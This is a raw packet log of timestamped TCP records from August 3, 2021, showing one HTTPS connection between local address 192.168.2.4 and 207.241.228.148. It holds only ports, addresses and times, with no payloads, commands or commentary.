Aug 3, 2021 20:39:46.680233002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680274963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680313110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680351973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680382967 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.680389881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680411100 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.680428028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680478096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680517912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.680541039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.680574894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.698945045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699131966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699345112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699420929 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.699506044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699565887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699606895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699644089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699668884 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.699681997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699722052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699738026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.699770927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699774027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.699812889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699851990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699891090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699892998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.699929953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699934006 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.699966908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.699989080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.700006962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.700046062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.700093985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.700109005 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.700136900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.700155973 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.700174093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.700215101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.700232983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.700254917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.703644037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.723097086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.723151922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.723402977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.769500017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.824104071 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.849565983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.849622011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.849659920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.849699020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.849737883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.849773884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.849814892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.849909067 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.849942923 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.849948883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.858449936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.858508110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.858547926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.858584881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.858673096 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.860491037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860543966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860585928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860625029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860622883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.860666990 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.860670090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.860673904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860718966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860759020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860795975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860799074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.860845089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860883951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860893011 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.860920906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.860922098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.860960007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861006021 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861006975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861051083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861088037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861115932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861125946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861164093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861167908 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861201048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861238956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861243010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861275911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861323118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861325026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861365080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861383915 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861402988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861440897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861479044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861504078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861516953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861555099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861556053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861593008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861610889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861639023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861680984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861717939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861741066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861757040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861795902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861797094 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861831903 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861867905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861869097 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861907005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861957073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.861968040 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.861999989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.862020969 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.880126953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880223989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880290031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880348921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880410910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880470991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880541086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880548954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.880585909 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.880604029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880641937 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.880661964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880727053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880800962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880810022 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.880851030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880867004 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.880903006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.880955935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.881000996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.881047964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.881052971 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.881098032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.881110907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.881155968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.881191969 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.881211996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.881261110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.881275892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.882442951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.882482052 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.884116888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.884185076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.884361029 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.903384924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.903419018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:46.903522015 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:46.949462891 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.003813982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.003876925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.003981113 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.029597998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.029623985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.029643059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.029659033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.029679060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.029692888 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.029696941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.029719114 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.029737949 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.039685965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.039747953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.039787054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.039823055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.039901972 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.039931059 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.041922092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.041966915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042005062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042027950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042051077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042078972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042104006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042124987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042129040 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042145967 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042148113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042150021 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042171001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042172909 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042195082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042216063 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042218924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042242050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042268038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042283058 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042293072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042315006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042316914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042339087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042359114 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042361975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042385101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042407990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042422056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042428017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042454004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042454004 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042476892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042496920 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042498112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042521000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042536020 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042543888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042565107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042587042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042608023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042608023 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042633057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042634010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042656898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042679071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042682886 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042701006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042723894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042745113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042749882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042768002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042788982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042797089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.042814970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.042819023 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.044399023 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.061218977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.063751936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.063796043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.063832045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.063862085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.063869953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.063890934 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.063903093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.063936949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.063941002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.063972950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064003944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064037085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064055920 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.064069033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064091921 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.064105034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064152956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064178944 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.064182997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064218998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064244032 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.064258099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064290047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064304113 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.064341068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064373970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064413071 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.064415932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064451933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064485073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064517975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064538002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.064546108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.064551115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.064601898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.083056927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.083100080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.083203077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.129079103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.183535099 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.183600903 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.183681011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.184170008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.209780931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.210014105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.210172892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.211003065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.211163044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.211272955 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.211338043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.211436987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.211529016 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.219460011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.219489098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.219506979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.219523907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.219860077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.222570896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222592115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222604990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222618103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222650051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222671032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222688913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222706079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222723961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222738981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222755909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222765923 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.222774029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222790956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222810984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222827911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222842932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222858906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222875118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222882986 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.222894907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222924948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222944021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222968102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222989082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.222990990 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.223009109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223028898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223048925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223067999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223087072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223098040 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.223105907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223144054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223167896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223175049 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.223185062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223203897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223223925 CEST	443	49756	207.241.228.148	192.168.2.4
